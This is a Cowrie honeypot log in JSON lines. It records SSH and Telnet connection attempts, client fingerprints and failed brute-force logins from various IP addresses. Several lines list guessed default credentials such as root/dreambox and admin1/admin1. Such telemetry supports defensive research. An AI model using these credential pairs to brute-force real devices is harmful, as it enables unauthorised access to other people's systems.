{"eventid":"cowrie.login.failed","username":"root","password":"fa","message":"login attempt [root/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:35.917159Z","src_ip":"193.46.255.86","session":"2898b5ef37a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":37902,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8a57fbbb4e3","protocol":"telnet","message":"New connection: 213.136.75.179:37902 (10.17.0.5:23) [session: b8a57fbbb4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:36.097941Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:37.056994Z","src_ip":"193.46.255.86","session":"2898b5ef37a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":52584,"dst_ip":"10.17.0.5","dst_port":23,"session":"b745f02ad008","protocol":"telnet","message":"New connection: 213.136.75.179:52584 (10.17.0.5:23) [session: b745f02ad008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:37.581999Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111.","message":"login attempt [root/Aa111111.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:38.196084Z","src_ip":"193.46.255.86","session":"2898b5ef37a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.117774486541748,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:38.337187Z","src_ip":"105.235.136.5","session":"d559867e5c20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":52596,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a5b496d2c50","protocol":"telnet","message":"New connection: 213.136.75.179:52596 (10.17.0.5:23) [session: 8a5b496d2c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:38.414457Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dreambox","message":"login attempt [root/dreambox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:39.335168Z","src_ip":"193.46.255.86","session":"2898b5ef37a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:40.474328Z","src_ip":"193.46.255.86","session":"2898b5ef37a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49992,"dst_ip":"10.17.0.5","dst_port":22,"session":"65d442b1d801","protocol":"ssh","message":"New connection: 176.65.139.103:49992 (10.17.0.5:22) [session: 65d442b1d801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:42.123266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:42.136875Z","src_ip":"176.65.139.103","session":"65d442b1d801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:42.209799Z","src_ip":"176.65.139.103","session":"65d442b1d801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:42.686073Z","src_ip":"176.65.139.103","session":"65d442b1d801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:43.815008Z","src_ip":"176.65.139.103","session":"65d442b1d801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.864559412002563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:44.178181Z","src_ip":"159.223.86.167","session":"96468795193a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.89738345146179,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:45.042123Z","src_ip":"23.254.167.244","session":"e410ce64ae0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":41192,"dst_ip":"159.203.135.109","dst_port":23,"session":"7449e574f2cb","protocol":"telnet","message":"New connection: 185.26.126.47:41192 (159.203.135.109:23) [session: 7449e574f2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:46.566929Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":52612,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab152bc44bea","protocol":"telnet","message":"New connection: 213.136.75.179:52612 (10.17.0.5:23) [session: ab152bc44bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:47.421420Z"}
{"eventid":"cowrie.session.closed","duration":32.10828351974487,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:50.578007Z","src_ip":"213.136.75.179","session":"50a3b3722161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48242,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a72f26ba963","protocol":"ssh","message":"New connection: 176.65.139.103:48242 (10.17.0.5:22) [session: 6a72f26ba963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:50.796855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:50.801590Z","src_ip":"176.65.139.103","session":"6a72f26ba963","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:50.914671Z","src_ip":"176.65.139.103","session":"6a72f26ba963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:51.189790Z","src_ip":"176.65.139.103","session":"6a72f26ba963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.332773208618164,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:51.948074Z","src_ip":"213.136.75.179","session":"68e137f2ee2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:52.366944Z","src_ip":"176.65.139.103","session":"6a72f26ba963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":52356,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d0c108c26dd","protocol":"ssh","message":"New connection: 103.176.20.115:52356 (10.17.0.5:22) [session: 7d0c108c26dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:56.042245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:56.048352Z","src_ip":"103.176.20.115","session":"7d0c108c26dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:56.295607Z","src_ip":"103.176.20.115","session":"7d0c108c26dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38038,"dst_ip":"159.203.135.109","dst_port":22,"session":"616d96c4e61c","protocol":"ssh","message":"New connection: 159.203.92.129:38038 (159.203.135.109:22) [session: 616d96c4e61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:56.416668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:56.422399Z","src_ip":"159.203.92.129","session":"616d96c4e61c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:56.427968Z","src_ip":"159.203.92.129","session":"616d96c4e61c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anoosha","password":"123456","message":"login attempt [anoosha/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:56.440531Z","src_ip":"159.203.92.129","session":"616d96c4e61c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerQWER1234","message":"login attempt [root/qwerQWER1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:57.314789Z","src_ip":"103.176.20.115","session":"7d0c108c26dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:57.448005Z","src_ip":"159.203.92.129","session":"616d96c4e61c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:58.565210Z","src_ip":"103.176.20.115","session":"7d0c108c26dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44938,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d34153b211e","protocol":"ssh","message":"New connection: 176.65.139.103:44938 (10.17.0.5:22) [session: 1d34153b211e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:59.173082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:59.177511Z","src_ip":"176.65.139.103","session":"1d34153b211e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:59.344620Z","src_ip":"176.65.139.103","session":"1d34153b211e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:59.642922Z","src_ip":"176.65.139.103","session":"1d34153b211e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.36789870262146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:43:59.723323Z","src_ip":"159.223.86.167","session":"4b8d9b55ba13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53202533721924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:00.544093Z","src_ip":"213.136.75.179","session":"e9bfcc101586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:00.762367Z","src_ip":"176.65.139.103","session":"1d34153b211e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.622901678085327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:02.319905Z","src_ip":"159.223.86.167","session":"8f1a4d3a1f70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.81189203262329,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:05.612370Z","src_ip":"213.136.75.179","session":"5d0690663fd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58360,"dst_ip":"10.17.0.5","dst_port":22,"session":"03152e7475fa","protocol":"ssh","message":"New connection: 176.65.139.103:58360 (10.17.0.5:22) [session: 03152e7475fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:07.717360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:07.728513Z","src_ip":"176.65.139.103","session":"03152e7475fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:07.805707Z","src_ip":"176.65.139.103","session":"03152e7475fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:08.265114Z","src_ip":"176.65.139.103","session":"03152e7475fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.480029106140137,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:09.061926Z","src_ip":"213.136.75.179","session":"b745f02ad008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.20448613166809,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:09.302321Z","src_ip":"213.136.75.179","session":"b8a57fbbb4e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:09.401891Z","src_ip":"176.65.139.103","session":"03152e7475fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.33363437652588,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:10.747964Z","src_ip":"213.136.75.179","session":"8a5b496d2c50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43824,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e004b25bb0","protocol":"telnet","message":"New connection: 213.136.75.179:43824 (10.17.0.5:23) [session: c3e004b25bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:14.499537Z"}
